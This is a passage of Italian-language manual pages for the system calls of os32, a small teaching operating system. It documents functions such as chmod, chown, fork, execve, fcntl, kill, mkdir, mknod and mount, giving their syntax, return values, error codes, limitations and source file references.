Modalità simbolica	Modalità numerica	Descrizione
`S_IRWXU`	00700_8	Lettura, scrittura ed esecuzione per l'utente proprietario.
`S_IRUSR`	00400_8	Lettura per l'utente proprietario.
`S_IWUSR`	00200_8	Scrittura per l'utente proprietario.
`S_IXUSR`	00100_8	Esecuzione per l'utente proprietario.
`S_IRWXG`	00070_8	Lettura, scrittura ed esecuzione per il gruppo.
`S_IRGRP`	00040_8	Lettura per il gruppo.
`S_IWGRP`	00020_8	Scrittura per il gruppo.
`S_IXGRP`	00010_8	Esecuzione per il gruppo.
`S_IRWXO`	00007_8	Lettura, scrittura ed esecuzione per gli altri utenti.
`S_IROTH`	00004_8	Lettura per gli altri utenti.
`S_IWOTH`	00002_8	Scrittura per gli altri utenti.
`S_IXOTH`	00001_8	Esecuzione per gli altri utenti.

os32 non considera i permessi SUID (*Set user id*), SGID (*Set group id*) e Sticky, che nella tabella non sono stati nemmeno annotati; inoltre, non tiene in considerazione i permessi legati al gruppo.

VALORE RESTITUITO

Valore	Significato del valore restituito
0	Operazione conclusa con successo.
−1	Errore, descritto dal contenuto della variabile ***errno***.

ERRORI

Valore di ***errno***	Significato
`EACCES`	Permesso negato.
`EBADF`	Il descrittore del file richiesto non è valido.

FILE SORGENTI

'`lib/sys/stat.h`' [120.16]

'`lib/sys/stat/chmod.c`' [120.16.1]

'`lib/sys/stat/fchmod.c`' [120.16.2]

'`lib/sys/os32/sys.s`' [120.15.4]

'`kernel/ibm_i386/isr.s`' [119.6.21]

'`kernel/proc/sysroutine.c`' [119.13.27]

'`kernel/lib_s/s_chmod.c`' [119.8.4]

'kernel/lib_s/s_fchmod.c' [119.8.10]

VEDERE ANCHE

chmod(1) [111.7], *chown(2)* [112.6], *open(2)* [112.32], *stat(2)* [112.45].

112.6 os32: chown(2)

NOME

'**chown**', '**fchown**' - modifica della proprietà dei file

SINTASSI

```
#include <unistd.h>
int chown  (const char *path, uid_t uid, gid_t gid);
int fchown (int fdn, uid_t uid, gid_t gid);
```

DESCRIZIONE

Le funzioni ***chown()*** e ***fchown()***, modificano la proprietà di un file, fornendo il numero UID e il numero GID. Il file viene indicato, rispettivamente, attraverso il percorso scritto in una stringa, oppure come numero di descrittore già aperto.

VALORE RESTITUITO

Valore	Significato del valore restituito
0	Operazione conclusa con successo.
−1	Errore, descritto dal contenuto della variabile ***errno***.

ERRORI

Valore di ***errno***	Significato
EINVAL	Argomento non valido.
EPERM	Permessi insufficienti per eseguire l'operazione.
ENOTDIR	Uno dei componenti del percorso non è una directory.
ENOENT	Uno dei componenti del percorso non esiste.
EBADF	Il descrittore del file non è valido.

DIFETTI

Le funzioni consentono di attribuire il numero del gruppo, ma os32 non valuta i permessi di accesso ai file, relativi ai gruppi.

FILE SORGENTI

'lib/unistd.h' [120.21]

'lib/unistd/chown.c' [120.21.5]

'lib/sys/os32/sys.s' [120.15.4]

'kernel/ibm_i386/isr.s' [119.6.21]

'kernel/proc/sysroutine.c' [119.13.27]

'kernel/lib_s/s_chown.c' [119.8.5]

'kernel/lib_s/s_fchown.c' [119.8.11]

VEDERE ANCHE

chmod(2) [112.5].

112.7 os32: clock(2)

NOME

'**clock**' - tempo della CPU espresso in unità '**clock_t**'

SINTASSI

```
#include <time.h>
clock_t clock (void);
```

DESCRIZIONE

La funzione ***clock()*** restituisce il tempo di utilizzo della CPU, espresso in unità '**clock_t**', corrispondenti a secondi diviso il valore della macro-variabile ***CLOCKS_PER_SEC***. Per os32, come dichiarato nel file 'time.h', il valore di ***CLOCKS_PER_SEC*** è 100, essendo la frequenza del temporizzatore interno regolata a 100 Hz.

VALORE RESTITUITO

La funzione restituisce il tempo di CPU, espresso in centesimi di secondo.

FILE SORGENTI

'lib/time.h' [120.20]

'lib/time/clock.c' [120.20.2]

'lib/sys/os32/sys.s' [120.15.4]

'kernel/ibm_i386/isr.s' [119.6.21]

'kernel/proc/sysroutine.c' [119.13.27]

'kernel/lib_s/s_clock.c' [119.8.6]

VEDERE ANCHE

time(2) [112.49].

112.8 os32: close(2)

NOME

'**close**' - chiusura di un descrittore di file

SINTASSI

```
#include <unistd.h>
int close (int fdn);
```

DESCRIZIONE

Le funzioni ***close()*** chiude un descrittore di file.

VALORE RESTITUITO

Valore	Significato del valore restituito
0	Operazione conclusa con successo.
−1	Errore, descritto dal contenuto della variabile ***errno***.

ERRORI

Valore di ***errno***	Significato
`EBADF`	Il descrittore del file non è valido.

FILE SORGENTI

'`lib/unistd.h`' [120.21]

'`lib/unistd/close.c`' [120.21.6]

'`lib/sys/os32/sys.s`' [120.15.4]

'`kernel/ibm_i386/isr.s`' [119.6.21]

'`kernel/proc/sysroutine.c`' [119.13.27]

'`kernel/lib_s/s_close.c`' [119.8.7]

VEDERE ANCHE

fcntl(2) [112.15], *open(2)* [112.32], *fclose(3)* [113.27].

112.9 os32: dup(2)

NOME

'**dup**', '**dup2**' - duplicazione di descrittori di file

SINTASSI

```
#include <unistd.h>
int dup  (int fdn_old);
int dup2 (int fdn_old, int fdn_new);
```

DESCRIZIONE

Le funzioni ***dup()*** e ***dup2()*** servono a duplicare un descrittore di file. La funzione ***dup()*** duplica il descrittore ***fdn_old***, utilizzando il numero di descrittore libero più basso che sia disponibile; ***dup2()***, invece, richiede che il nuovo numero di descrittore sia specificato, attraverso il parametro ***fdn_new***. Tuttavia, se il numero di descrittore ***fdn_new*** risulta utilizzato, questo viene chiuso prima di diventare la copia di ***fdn_old***.

VALORE RESTITUITO

Valore	Significato del valore restituito
0	Operazione conclusa con successo.
−1	Errore, descritto dal contenuto della variabile ***errno***.

ERRORI

Valore di ***errno***	Significato
`EBADF`	Uno dei descrittori specificati non è valido.
`EMFILE`	Troppi file aperti per il processo.

FILE SORGENTI

'`lib/unistd.h`' [120.21]

'`lib/unistd/dup.c`' [120.21.7]

'`lib/unistd/dup2.c`' [120.21.8]

'`lib/sys/os32/sys.s`' [120.15.4]

'`kernel/ibm_i386/isr.s`' [119.6.21]

'`kernel/proc/sysroutine.c`' [119.13.27]

'`kernel/fs/fd_dup.c`' [119.5.1]

'`kernel/lib_s/s_dup.c`' [119.8.8]

'`kernel/lib_s/s_dup2.c`' [119.8.9]

VEDERE ANCHE

close(2) [112.8], *fcntl(2)* [112.15], *open(2)* [112.32].

112.10 os32: dup2(2)

Vedere *dup(2)* [112.9].

112.11 os32: execve(2)

NOME

'**`execve`**' - esecuzione di un file

SINTASSI

```
#include <unistd.h>
int execve (const char *path, char *const argv[], char *const envp[]);
```

DESCRIZIONE

La funzione ***execve()*** è quella che avvia effettivamente un programma, mentre le altre funzioni '**exec...()**' offrono semplicemente un'interfaccia differente per l'avvio, ma poi si avvalgono di ***execve()*** per svolgere effettivamente quanto loro richiesto.

La funzione ***execve()*** avvia il file il cui percorso è specificato come stringa, nel primo argomento.

Il secondo argomento deve essere un array di stringhe, dove la prima deve rappresentare il nome del programma avviato e le successive sono gli argomenti da passare al programma. L'ultimo elemento di tale array deve essere un puntatore nullo, per poter essere riconosciuto.

Il terzo argomento deve essere un array di stringhe, rappresentanti l'ambiente da passare al nuovo processo. Per ambiente si intende l'insieme delle variabili di ambiente, pertanto queste stringhe devono avere la forma '***nome=valore***', per essere riconoscibili. Anche in questo caso, per poter individuare l'ultimo elemento dell'array, questo deve essere un puntatore nullo.

VALORE RESTITUITO

Se ***execve()*** riesce nel suo compito, non può restituire alcunché, dato che in quel momento, il processo chiamante viene rimpiazzato da quello del file che viene eseguito. Pertanto, se viene restituito qualcosa, può trattarsi solo di un valore che rappresenta un errore, ovvero -1, aggiornando anche la variabile ***errno*** di conseguenza.

ERRORI

Valore di ***errno***	Significato
`E2BIG`	Ci sono troppi argomenti.
`ENOMEM`	Memoria insufficiente.
`ENOENT`	Il file richiesto non esiste.
`EACCES`	Il file non può essere avviato per la mancanza dei permessi di acceso necessari.
`ENOEXEC`	Il file non può essere un file eseguibile, perché non ne ha le caratteristiche.
`EIO`	Errore di input-output.

DIFETTI

os32 non prevede l'interpretazione di script, perché non esiste alcun programma in grado di farlo. Anche la shell di os32 si limita a eseguire i comandi inseriti, ma non può interpretare un file.

FILE SORGENTI

'`lib/unistd.h`' [120.21]

'lib/unistd/execle.c' [120.21.11]

'lib/sys/os32/sys.s' [120.15.4]

'kernel/ibm_i386/isr.s' [119.6.21]

'kernel/proc/sysroutine.c' [119.13.27]

'kernel/proc/proc_sys_exec.c' [119.13.22]

VEDERE ANCHE

fork(2) [112.16], *exec(3)* [113.20], *getopt(3)* [113.55], *environ(7)* [116.1].

112.12 os32: fchdir(2)

Vedere *chdir(2)* [112.4].

112.13 os32: fchmod(2)

Vedere *chmod(2)* [112.5].

112.14 os32: fchown(2)

Vedere *chown(2)* [112.6].

112.15 os32: fcntl(2)

NOME

'**fcntl**' - configurazione e intervento sui descrittori di file

SINTASSI

```
#include <fcntl.h>
int fcntl (int fdn, int cmd, ...);
```

DESCRIZIONE

La funzione ***fcntl()*** esegue un'operazione, definita dal parametro ***cmd***, sul descrittore richiesto come primo parametro (***fdn***). A seconda del tipo di operazione richiesta, potrebbero essere necessari degli argomenti ulteriori, i quali però non possono essere formalizzati in modo esatto nel prototipo della funzione. Il valore del secondo parametro che rappresenta l'operazione richiesta, va fornito in forma di costante simbolica, come descritto nell'elenco seguente.

Sintassi	Descrizione
`fcntl (`***fdn***`, F_DUPFD, (int) `***fdn_min***`)`	Richiede la duplicazione del descrittore di file ***fdn***, in modo tale che la copia abbia il numero di descrittore minore possibile, ma maggiore o uguale a quello indicato come argomento ***fdn_min***.
`fcntl (`***fdn***`, F_GETFD)` `fcntl (`***fdn***`, F_SETFD, (int) `***fd_flags***`)`	Rispettivamente, legge o imposta, gli indicatori del descrittore di file ***fdn*** (eventualmente noti come *file descriptor flags* o solo *fd flags*). Per il momento, è possibile impostare un solo indicatore, '**`FD_CLOEXEC`**', pertanto, al posto di ***fd_flags*** si può mettere solo la costante '**`FD_CLOEXEC`**'.
`fcntl (`***fdn***`, F_GETFL)` `fcntl (`***fdn***`, F_SETFL, (int) `***fl_flags***`)`	Rispettivamente, legge o imposta, gli indicatori dello stato del file, relativi al descrittore ***fdn*** (eventualmente noti come *file flaga* o solo *fl flags*). Per impostare questi indicatori, vanno combinate delle costanti simboliche: '**`O_RDONLY`**', '**`O_WRONLY`**', '**`O_RDWR`**', '**`O_CREAT`**', '**`O_EXCL`**', '**`O_NOCTTY`**', '**`O_TRUNC`**'.

VALORE RESTITUITO

Il significato del valore restituito dalla funzione dipende dal tipo di operazione richiesta, come sintetizzato dalla tabella successiva.

Operazione richiesta	Significato del valore restituito
`F_DUPFD`	Si ottiene il numero del descrittore prodotto dalla copia, oppure −1 in caso di errore.
`F_GETFD`	Si ottiene il valore degli indicatori del descrittore (*fd flags*), oppure −1 in caso di errore.
`F_GETFL`	Si ottiene il valore degli indicatori del file (*fl flags*), oppure −1 in caso di errore.

`F_GETOWN`
`F_SETOWN`
`F_GETLK`
`F_SETLK`
`F_SETLKW`
	Si ottiene −1, in quanto si tratta di operazioni non realizzate in questa versione della funzione, per os32.

altri tipi di operazione	Si ottiene 0 in caso di successo, oppure −1 in caso di errore.

ERRORI

Valore di ***errno***	Significato
`E_NOT_IMPLEMENTED`	È stato richiesto un tipo di operazione che non è disponibile nel caso particolare di os32.
`EINVAL`	È stato richiesto un tipo di operazione non valido.

FILE SORGENTI

'lib/fcntl.h' [120.5]

'lib/fcntl/fcntl.c' [120.5.2]

'lib/sys/os32/sys.s' [120.15.4]

'kernel/ibm_i386/isr.s' [119.6.21]

'kernel/proc/sysroutine.c' [119.13.27]

'kernel/lib_s/s_fcntl.c' [119.8.12]

VEDERE ANCHE

dup(2) [112.9], *dup2(2)* [112.9], *open(2)* [112.32].

112.16 os32: fork(2)

NOME

'**fork**' - sdoppiamento di un processo, ovvero creazione di un processo figlio

SINTASSI

```
#include <unistd.h>
pid_t fork (void);
```

DESCRIZIONE

La funzione ***fork()*** crea una copia del processo in corso, la quale copia diventa un processo figlio del primo. Il processo figlio eredita una copia dei descrittori di file aperti e di conseguenza dei flussi di file e directory.

Il processo genitore riceve dalla funzione il valore del numero PID del processo figlio avviato; il processo figlio si mette a funzionare dal punto in cui si trova la funzione ***fork()***, restituendo però un valore nullo: in questo modo tale processo figlio può riconoscersi come tale.

VALORE RESTITUITO

La funzione restituisce al processo genitore il numero PID del processo figlio; al processo figlio restituisce zero. In caso di problemi, invece, il valore restituito è -1 e la variabile ***errno*** risulta aggiornata di conseguenza.

ERRORI

Valore di ***errno***	Significato
ENOMEM	Memoria insufficiente per avviare un altro processo.

FILE SORGENTI

'lib/unistd.h' [120.21]

'lib/unistd/fork.c' [120.21.18]

'lib/sys/os32/sys.s' [120.15.4]

‘kernel/ibm_i386/isr.s’ [119.6.21]

‘kernel/proc/sysroutine.c’ [119.13.27]

‘kernel/lib_s/s_fork.c’ [119.8.13]

VEDERE ANCHE

execve(2) [112.11], *wait(2)* [112.53], *exec(3)* [113.20].

112.17 os32: fstat(2)

Vedere *stat(2)* [112.45].

112.18 os32: getcwd(2)

NOME

‘**getcwd**’ - determinazione della directory corrente

SINTASSI

```
#include <unistd.h>
char *getcwd (char *buffer, size_t size);
```

DESCRIZIONE

La funzione ***getcwd()*** modifica il contenuto dell’area di memoria a cui punta ***buffer***, copiandovi al suo interno la stringa che rappresenta il percorso della directory corrente. La scrittura all’interno di ***buffer*** può prolungarsi al massimo per ***size*** byte, incluso il codice nullo di terminazione delle stringhe.

VALORE RESTITUITO

La funzione restituisce il puntatore alla stringa che rappresenta il percorso della directory corrente, il quale deve coincidere con ***buffer***. In caso di errore, invece, la funzione restituisce il puntatore nullo ‘**NULL**’.

ERRORI

Valore di ***errno***	Significato
EINVAL	Il puntatore ***buffer*** non è valido.
E_LIMIT	Il percorso della directory corrente è troppo lungo, rispetto ai limiti realizzativi di os32.

DIFETTI

La funzione ***getcwd()*** di os32 deve comunicare con il kernel per ottenere l’informazione che le serve, perché la «u-area» (*User area*) è trattenuta all’interno del kernel stesso.

FILE SORGENTI

'`lib/unistd.h`' [120.21]

'`lib/unistd/getcwd.c`' [120.21.19]

'`lib/sys/os32/sys.s`' [120.15.4]

'`kernel/ibm_i386/isr.s`' [119.6.21]

'`kernel/proc/sysroutine.c`' [119.13.27]

VEDERE ANCHE

chdir(2) [112.4].

112.19 os32: getgid(2)

NOME

'**`getgid`**', '**`getegid`**' - determinazione del gruppo reale ed efficace

SINTASSI

```
#include <unistd.h>
gid_t getgid  (void);
gid_t getegid (void);
```

DESCRIZIONE

La funzione ***getgid()*** restituisce il numero corrispondente al gruppo reale a cui appartiene il processo; la funzione ***getegid()*** restituisce il numero del gruppo efficace del processo.

VALORE RESTITUITO

Il numero GID, reale o efficace del processo chiamante. Non sono previsti casi di errore.

DIFETTI

Le funzioni ***getgid()*** e ***getegid()*** di os32 devono comunicare con il kernel per ottenere l'informazione che a loro serve, perché la «u-area» (*User area*) è trattenuta all'interno del kernel stesso.

FILE SORGENTI

'`lib/unistd.h`' [120.21]

'`lib/unistd/getgid.c`' [120.21.22]

'`lib/unistd/getegid.c`' [120.21.20]

'`lib/sys/os32/sys.s`' [120.15.4]

'`kernel/ibm_i386/isr.s`' [119.6.21]

'`kernel/proc/sysroutine.c`' [119.13.27]

VEDERE ANCHE

setgid(2) [112.39], *getuid(2)* [112.24], *geteuid(2)* [112.24].

112.20 os32: geteuid(2)

Vedere *getuid(2)* [112.24].

112.21 os32: getpgrp(2)

Vedere *getpid(2)* [112.22].

112.22 os32: getpid(2)

NOME

'**getpid**', '**getppid**', '**getpgrp**' - determinazione del numero del processo o del gruppo di processi

SINTASSI

```
#include <unistd.h>
pid_t getpid  (void);
pid_t getppid (void);
pid_t getpgrp (void);
```

DESCRIZIONE

La funzione ***getpid()*** restituisce il numero del processo chiamante; la funzione ***getppid()*** restituisce il numero del processo genitore rispetto a quello chiamante; la funzione ***getpgrp()*** restituisce il numero attribuito al gruppo di processi a cui appartiene quello chiamante.

VALORE RESTITUITO

Il numero di processo o di gruppo di processi, relativo al contesto della funzione. Non sono previsti casi di errore.

DIFETTI

Le funzioni ***getpid()***, ***getppid()*** e ***getpgrp()*** di os32 devono comunicare con il kernel per ottenere l'informazione che a loro serve, perché la «u-area» (*User area*) è trattenuta all'interno del kernel stesso.

FILE SORGENTI

'`lib/unistd.h`' [120.21]

'`lib/unistd/getpid.c`' [120.21.25]

'`lib/unistd/getppid.c`' [120.21.26]

'`lib/unistd/getpgrp.c`' [120.21.24]

'`lib/sys/os32/sys.s`' [120.15.4]

'`kernel/ibm_i386/isr.s`' [119.6.21]

'`kernel/proc/sysroutine.c`' [119.13.27]

VEDERE ANCHE

getuid(2) [112.24] *fork(2)* [112.16], *execve(2)* [112.11].

112.23 os32: getppid(2)

Vedere *getpid(2)* [112.22].

112.24 os32: getuid(2)

NOME

'**getuid**', '**geteuid**' - determinazione dell'identità reale ed efficace

SINTASSI

```
#include <unistd.h>
uid_t getuid  (void);
uid_t geteuid (void);
```

DESCRIZIONE

La funzione ***getuid()*** restituisce il numero corrispondente all'identità reale del processo; la funzione ***geteuid()*** restituisce il numero dell'identità efficace del processo.

VALORE RESTITUITO

Il numero UID, reale o efficace del processo chiamante. Non sono previsti casi di errore.

DIFETTI

Le funzioni ***getuid()*** e ***geteuid()*** di os32 devono comunicare con il kernel per ottenere l'informazione che a loro serve, perché la «u-area» (*User area*) è trattenuta all'interno del kernel stesso.

FILE SORGENTI

'`lib/unistd.h`' [120.21]

'`lib/unistd/getuid.c`' [120.21.27]

'`lib/unistd/geteuid.c`' [120.21.21]

'`lib/sys/os32/sys.s`' [120.15.4]

'`kernel/ibm_i386/isr.s`' [119.6.21]

'`kernel/proc/sysroutine.c`' [119.13.27]

VEDERE ANCHE

setuid(2) [112.42], *getgid(2)* [112.19], *getegid(2)* [112.19].

112.25 os32: kill(2)

NOME

'**`kill`**' - invio di un segnale a un processo

SINTASSI

```
#include <sys/types.h>
#include <signal.h>
int kill (pid_t pid, int sig)
```

DESCRIZIONE

La funzione ***kill()*** invia il segnale ***sig*** al processo numero ***pid***, oppure a un gruppo di processi. Questa realizzazione particolare di os32 comporta come segue:

- se il valore ***pid*** è maggiore di zero, il segnale viene inviato al processo con il numero ***pid***, ammesso di averne il permesso;
- se il valore ***pid*** è pari a zero, il segnale viene inviato a tutti i processi appartenenti allo stesso utente (quelli che hanno la stessa identità efficace, ovvero il valore ***euid***), ma se il processo che chiama la funzione lavora con un valore di ***euid*** pari a zero, il segnale viene inviato a tutti i processi, a partire dal numero due (si salta '**`init`**');
- valori negativi di ***pid*** non vengono presi in considerazione.

VALORE RESTITUITO

Valore	Significato del valore restituito
0	Operazione conclusa con successo.
−1	Errore, descritto dal contenuto della variabile ***errno***.

ERRORI

Valore di ***errno***	Significato
`EPERM`	Il processo non ha i permessi per inviare il segnale alla destinazione richiesta.
`ESRCH`	La ricerca del processo ***pid*** è fallita. Nel caso di os32, si ottiene questo errore anche per valori negativi di ***pid***.

FILE SORGENTI

'`lib/sys/types.h`' [120.17]

'`lib/signal.h`' [120.11]

'`lib/signal/kill.c`' [120.11.2]

'`lib/sys/os32/sys.s`' [120.15.4]

'`kernel/ibm_i386/isr.s`' [119.6.21]

'`kernel/proc/sysroutine.c`' [119.13.27]

'`kernel/lib_s/s_kill.c`' [119.8.15]

VEDERE ANCHE

signal(2) [112.43].

112.26 os32: link(2)

NOME

'**link**' - creazione di un collegamento fisico tra un file esistente e un altro nome

SINTASSI

```
#include <unistd.h>
int link (const char *path_old, const char *path_new);
```

DESCRIZIONE

La funzione ***link()*** produce un nuovo collegamento a un file già esistente. Va fornito il percorso del file già esistente, ***path_old*** e quello del file da creare, in qualità di collegamento, ***path_new***. L'operazione può avvenire soltanto se i due percorsi si trovano sulla stessa unità di memorizzazione e se ci sono i permessi di scrittura necessari nella directory di destinazione. Dopo l'operazione di collegamento, fatta in questo modo, non è possibile distinguere quale sia il file originale e quale sia invece il nome aggiunto.

VALORE RESTITUITO

Valore	Significato del valore restituito
0	Operazione conclusa con successo.
−1	Errore, descritto dal contenuto della variabile ***errno***.

ERRORI

Valore di ***errno***	Significato
`EINVAL`	Gli argomenti forniti alla chiamata non sono validi per qualche ragione.
`EPERM`	Operazione non consentita.
`EEXIST`	Il nome da creare esiste già.
`EACCES`	Accesso non consentito.
`ENOENT`	Il file non esiste, oppure non esiste il percorso che porta al file da creare.
`EROFS`	Il file system consente soltanto un accesso in lettura.
`ENOTDIR`	Uno dei due percorsi non è valido, in quanto ciò che dovrebbe essere una directory, non lo è.

FILE SORGENTI

'`lib/unistd.h`' [120.21]

'`lib/unistd/link.c`' [120.21.29]

'`lib/sys/os32/sys.s`' [120.15.4]

'`kernel/ibm_i386/isr.s`' [119.6.21]

'`kernel/proc/sysroutine.c`' [119.13.27]

'`kernel/lib_s/s_link.c`' [119.8.16]

VEDERE ANCHE

ln(1) [111.13] *open(2)* [112.32], *stat(2)* [112.45], *unlink(2)* [112.52].

112.27 os32: longjmp(2)

Vedere *setjmp(2)* [112.40].

112.28 os32: lseek(2)

NOME

'**lseek**' - riposizionamento dell'indice di accesso a un descrittore di file

SINTASSI

```
#include <unistd.h>
off_t lseek (int fdn, off_t offset, int whence);
```

DESCRIZIONE

La funzione ***lseek()*** consente di riposizionare l'indice di accesso interno al descrittore di file ***fdn***. Per fare questo occorre prima determinare un punto di riferimento, rappresentato dal parametro ***whence***, dove va usata una macro-variabile definita nel file 'unistd.h'. Può trattarsi dei casi seguenti.

Valore di ***whence***	Significato
SEEK_SET	Lo scostamento si riferisce all'inizio del file.
SEEK_CUR	Lo scostamento si riferisce alla posizione che ha già l'indice interno al file.
SEEK_END	Lo scostamento si riferisce alla fine del file.

Lo scostamento indicato dal parametro ***offset*** si applica a partire dalla posizione a cui si riferisce ***whence***, pertanto può avere segno positivo o negativo, ma in ogni caso non è possibile collocare l'indice prima dell'inizio del file.

VALORE RESTITUITO

Se l'operazione avviene con successo, la funzione restituisce il valore dell'indice riposizionato, preso come scostamento a partire dall'inizio del file. In caso di errore, restituisce invece il valore -1, aggiornando di conseguenza anche la variabile ***errno***.

ERRORI

Valore di ***errno***	Significato
EBADF	Il numero del descrittore di file non è valido.
EINVAL	Il valore di ***whence*** non è contemplato, oppure la combinazione tra ***whence*** e ***offset*** non è valida.

FILE SORGENTI

'`lib/unistd.h`' [120.21]

'`lib/unistd/lseek.c`' [120.21.30]

'`lib/sys/os32/sys.s`' [120.15.4]

'`kernel/ibm_i386/isr.s`' [119.6.21]

'`kernel/proc/sysroutine.c`' [119.13.27]

'`kernel/lib_s/s_lseek.c`' [119.8.18]

VEDERE ANCHE

dup(2) [112.9] *fork(2)* [112.16], *open(2)* [112.32], *fseek(3)* [113.43].

112.29 os32: mkdir(2)

NOME

'**`mkdir`**' - creazione di una directory

SINTASSI

```
#include <sys/stat.h>
int mkdir (const char *path, mode_t mode);
```

DESCRIZIONE

La funzione ***mkdir()*** crea una directory, indicata attraverso un percorso, nel parametro ***path***, specificando la modalità dei permessi, con il parametro ***mode***.

Tuttavia, il valore del parametro ***mode*** non viene preso in considerazione integralmente: di questo si considerano solo gli ultimi nove bit, ovvero quelli dei permessi di utenti, gruppi e altri utenti; inoltre, vengono tolti i bit presenti nella maschera dei permessi associata al processo (si veda anche *umask(2)* [112.50]).

La directory che viene creata in questo modo, appartiene all'identità efficace del processo, ovvero all'utente per conto del quale questo sta funzionando.

VALORE RESTITUITO

Valore	Significato del valore restituito
0	Operazione conclusa con successo.
−1	Errore, descritto dal contenuto della variabile ***errno***.

ERRORI

Valore di *errno*	Significato
`EINVAL`	Il percorso indicato non è valido.
`EEXIST`	Esiste già un file o una directory con lo stesso nome.
`ENOTDIR`	Una porzione del percorso della directory da creare, non è una directory.
`ENOENT`	Una porzione del percorso della directory da creare non esiste.
`EACCES`	Permesso negato.

FILE SORGENTI

'`lib/sys/stat.h`' [120.16]

'`lib/sys/stat/mkdir.c`' [120.16.4]

'`lib/sys/os32/sys.s`' [120.15.4]

'`kernel/ibm_i386/isr.s`' [119.6.21]

'`kernel/proc/sysroutine.c`' [119.13.27]

'`kernel/lib_s/s_mkdir.c`' [119.8.19]

VEDERE ANCHE

mkdir(1) [111.17], *chmod(2)* [112.5], *chown(2)* [112.6], *mknod(2)* [112.30], *mount(2)* [112.31], *stat(2)* [112.45], *umask(2)* [112.50], *unlink(2)* [112.52].

112.30 os32: mknod(2)

NOME

'**`mknod`**' - creazione di un file vuoto di qualunque tipo

SINTASSI

```
#include <sys/stat.h>
int mknod (const char *path, mode_t mode, dev_t device);
```

DESCRIZIONE

La funzione ***mknod()*** crea un file vuoto, di qualunque tipo. Potenzialmente può creare anche una directory, ma priva di qualunque voce, rendendola così non adeguata al suo scopo (una directory richiede almeno le voci '`.`' e '`..`', per potersi considerare tale).

Il parametro ***path*** specifica il percorso del file da creare; il parametro ***mode*** serve a indicare il tipo di file da creare, oltre ai permessi comuni.

Il parametro ***device***, con il quale va indicato il numero di un dispositivo (completo di numero primario e secondario), viene preso in considerazione soltanto se nel parametro ***mode*** si richiede la creazione di un file di dispositivo a caratteri o a blocchi.

Il valore del parametro ***mode*** va costruito combinando assieme delle macro-variabili definite nel file '`sys/stat.h`', come descritto nella pagina di manuale *stat(2)* [112.45], tenendo conto che os32 non può gestire file FIFO, collegamenti simbolici e socket di dominio Unix.

Il valore del parametro ***mode***, per la porzione che riguarda i permessi di accesso al file, viene comunque filtrato con la maschera dei permessi (*umask(2)* [112.45]).

VALORE RESTITUITO

Valore	Significato del valore restituito
0	Operazione conclusa con successo.
−1	Errore, descritto dal contenuto della variabile ***errno***.

ERRORI

Valore di ***errno***	Significato
`EINVAL`	Il percorso indicato non è valido.
`EEXIST`	Esiste già un file o una directory con lo stesso nome.
`ENOTDIR`	Una porzione del percorso del file da creare, non è una directory.
`ENOENT`	Una porzione del percorso del file da creare non esiste.
`EACCES`	Permesso negato.

FILE SORGENTI

'`lib/sys/stat.h`' [120.16]

'`lib/sys/stat/mknod.c`' [120.16.5]

'`lib/sys/os32/sys.s`' [120.15.4]

'`kernel/ibm_i386/isr.s`' [119.6.21]

'`kernel/proc/sysroutine.c`' [119.13.27]

'`kernel/lib_s/s_mknod.c`' [119.8.20]

VEDERE ANCHE

mkdir(2) [112.29], *chmod(2)* [112.5], *chown(2)* [112.6], *fcntl(2)* [112.15], *stat(2)* [112.45], *umask(2)* [112.50], *unlink(2)* [112.52].

112.31 os32: mount(2)

NOME

'**`mount`**', '**`umount`**' - innesto e distacco di unità di memorizzazione

SINTASSI

```
#include <sys/os32.h>
int mount  (const char *path_dev, const char *path_mnt, int options);
int umount (const char *path_mnt);
```

DESCRIZIONE

La funzione ***mount()*** permette l'innesto di un'unità di memorizzazione individuata attraverso il percorso del file di dispositivo nel parametro ***path_dev***, nella directory corrispondente al percorso ***path_mnt***, con le opzioni indicate numericamente nell'ultimo argomento ***options***. Le opzioni di innesto, rappresentate attraverso delle macro-variabili, sono solo due:

Opzione	Descrizione
`MOUNT_DEFAULT`	Innesto normale, in lettura e scrittura.
`MOUNT_RO`	Innesto in sola lettura.

La funzione ***umount()*** consente di staccare un innesto fatto precedentemente, specificando il percorso della directory in cui questo è avvenuto.

VALORE RESTITUITO

Valore	Significato
0	Operazione conclusa con successo.
−1	Errore: va verificato il contenuto della variabile ***errno***.

ERRORI

Valore di ***errno***	Significato
`EPERM`	Problema di accesso dovuto alla mancanza dei permessi necessari.
`ENOTDIR`	Ciò che dovrebbe essere una directory, non lo è.
`EBUSY`	La directory innesta già un file system e non può innestarne un altro.
`ENOENT`	La directory non esiste.
`E_NOT_MOUNTED`	La directory non innesta un file system da staccare.
`EUNKNOWN`	Si è verificato un problema non previsto e sconosciuto.

FILE SORGENTI

'`lib/sys/os32.h`' [120.15]

'`lib/sys/os32/mount.c`' [120.15.2]

'`lib/sys/os32/umount.c`' [120.15.5]

'`lib/sys/os32/sys.s`' [120.15.4]

'`kernel/ibm_i386/isr.s`' [119.6.21]

'`kernel/proc/sysroutine.c`' [119.13.27]

'`kernel/lib_s/s_mount.c`' [119.8.21]

'`kernel/lib_s/s_umount.c`' [119.8.37]

VEDERE ANCHE

mount(8) [117.4], *umount(8)* [117.4].

112.32 os32: open(2)

NOME

'`open`' - apertura di un file puro e semplice oppure di un file di dispositivo

SINTASSI

```
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
int open (const char *path, int oflags);
int open (const char *path, int oflags, mode_t mode);
```

DESCRIZIONE

La funzione ***open()*** apre un file, indicato attraverso il percorso ***path***, in base alle opzioni rappresentate dagli indicatori ***oflags***. A seconda del tipo di indicatori specificati, potrebbe essere richiesto il parametro ***mode***.

Quando la funzione porta a termine correttamente il proprio compito, restituisce il numero del descrittore del file associato, il quale è sempre quello di valore più basso disponibile per il processo elaborativo in corso.

Il descrittore di file ottenuto inizialmente con la funzione ***open()***, è legato al processo elaborativo in corso; tuttavia, se successivamente il processo si sdoppia attraverso la funzione ***fork()***, tale descrittore, se ancora aperto, viene duplicato nella nuova copia del processo. Inoltre, se per il descrittore aperto non viene impostato l'indicatore '`FD_CLOEXEC`' (con l'ausilio della funzione ***fcntl()***), se il processo viene rimpiazzato con la funzione ***execve()***, il descrittore aperto viene ereditato dal nuovo processo.

Il parametro ***oflags*** richiede necessariamente la specificazione della modalità di accesso, attraverso la combinazione appropriata dei valori: '`O_RDONLY`', '`O_WRONLY`', '`O_RDWR`'. Inoltre, si possono combinare altri indicatori: '`O_CREAT`', '`O_TRUNC`', '`O_APPEND`'.

Opzione	Descrizione
`O_RDONLY`	Richiede un accesso in lettura.
`O_WRONLY`	Richiede un accesso in scrittura.
